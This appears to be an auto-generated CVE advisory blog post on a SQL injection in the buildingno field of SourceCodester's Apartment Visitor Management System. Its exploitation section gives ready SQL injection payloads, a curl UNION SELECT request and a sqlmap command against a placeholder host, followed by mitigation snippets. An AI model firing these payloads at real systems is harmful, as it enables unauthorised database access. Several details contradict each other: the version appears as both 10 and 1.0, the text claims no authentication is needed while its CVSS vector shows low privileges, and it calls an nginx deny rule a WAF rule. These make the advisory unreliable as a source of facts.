SourceCodester Apartment Visitor Management System 10, SQL Injection, CVE-2025-3142 (Critical)

Listen to this Post

How the CVE Works

The vulnerability exists in `/add-apartment.php` due to improper sanitization of the `buildingno` parameter, enabling SQL injection. Attackers can craft malicious SQL queries via this input, manipulating database operations. The flaw allows unauthorized access, data exfiltration, or system compromise. Remote exploitation is possible without authentication, leveraging crafted HTTP requests. The CVSS 4.0 vector (AV:N/AC:L/PR:L/UI:N/VC:L/VI:L/VA:L) confirms network-based attacks with low complexity, leading to data integrity and confidentiality breaches.

DailyCVE Form

Platform: SourceCodester
Version: 1.0
Vulnerability: SQL Injection
Severity: Critical
Date: 05/14/2025

What Undercode Say:

Exploitation:

1. Craft Payload:

' OR 1=1--

2. Curl Exploit:

curl -X POST "http://target.com/add-apartment.php" -d "buildingno=' UNION SELECT 1,user(),3,4--"

3. Automated Testing:

sqlmap -u "http://target.com/add-apartment.php?buildingno=1" --dbs

Protection:

1. Input Sanitization:

$buildingno = mysqli_real_escape_string($conn, $_POST['buildingno']);

2. Prepared Statements:

$stmt = $conn->prepare("INSERT INTO apartments (buildingno) VALUES (?)");
$stmt->bind_param("s", $buildingno);

3. WAF Rules:

location ~ /add-apartment.php {
deny all;
}

4. Patch Verification:

diff /var/www/html/add-apartment.php patched_add-apartment.php

5. Log Monitoring:

tail -f /var/log/apache2/access.log | grep 'add-apartment.php'

Analytics:

  • Attack Surface: High (public-facing endpoint).
  • Exploitability: Trivial (no auth required).
  • Mitigation Complexity: Low (code fixes).
  • CVE Trend: Rising exploits in wild.

Detection:

grep -r "mysql_query" /var/www/html/

Backup:

mysqldump -u root -p apartment_db > backup.sql

Sources:

Reported By: nvd.nist.gov
Extra Source Hub:
Undercode

Join Our Cyber World:

💬 Whatsapp | 💬 TelegramFeatured Image

Scroll to Top